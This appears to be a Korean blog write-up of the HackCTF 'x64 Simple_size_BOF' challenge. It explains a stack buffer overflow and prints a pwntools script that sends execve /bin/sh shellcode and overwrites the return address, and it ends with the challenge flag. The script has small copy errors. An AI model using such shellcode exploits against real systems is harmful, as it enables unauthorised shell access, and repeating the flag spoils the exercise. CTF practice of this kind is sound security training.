WARGAME/hack ctf

x64 Simple_size_BOF

raar 2020. 3. 9. 01:12

 

 

이번 문제도 왠지 지난번 문제랑 비슷한 거 같다. 다운로드하고 실행시켜 보면,

 

 

 

 

"삐빅 - 자살방지 문제입니다."와 버퍼 주소를 출력하고 입력을 한 줄 받은 다음 그냥 종료되는 거 같다. ida로 까 보면,

 

 

 

그냥 간단하당 puts로 "삐빅 - 자살방지 문제입니다." 출력해주고 buf 주소 출력해준다. 그리고 입력을 한 줄 받는 구조이다.

해당 바이너리에서 main 함수 이외에 따른 함수는 없으므로 저 버퍼 주소에 대가 쉘 코드 넣어주고 ret 주소를 쉘 코드를 넣은 

버퍼 주소로 변조해 주면 될 거 같다.

 

 

아 참고로,

 

 

 

NX 기법 안 걸려 있어서 쉘 코드 넣어도 되고, 64bit 바이너리 이므로 RET, SFP 8 bit로 해 주어야 한다.

 

익스 코드는 다음과 같다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
 
#p = process("./Simple_size_bof")
= remote("ctf.j0n9hyun.xyz"3005)
 
p.recvuntil("buf: ")
 
buf_addr = int(p.recv(14),16)
 
payload = ''
payload += '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload += 'A'*(0x6D30-23)
payload += 'B'*8
payload += p64(buf_addr)
 
p.sendline(payload)
 
p.interactive()y Color Scripter

 

쉘 코드는 64bit 전용 32bit짜리를 사용했당

 

FLAG : HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}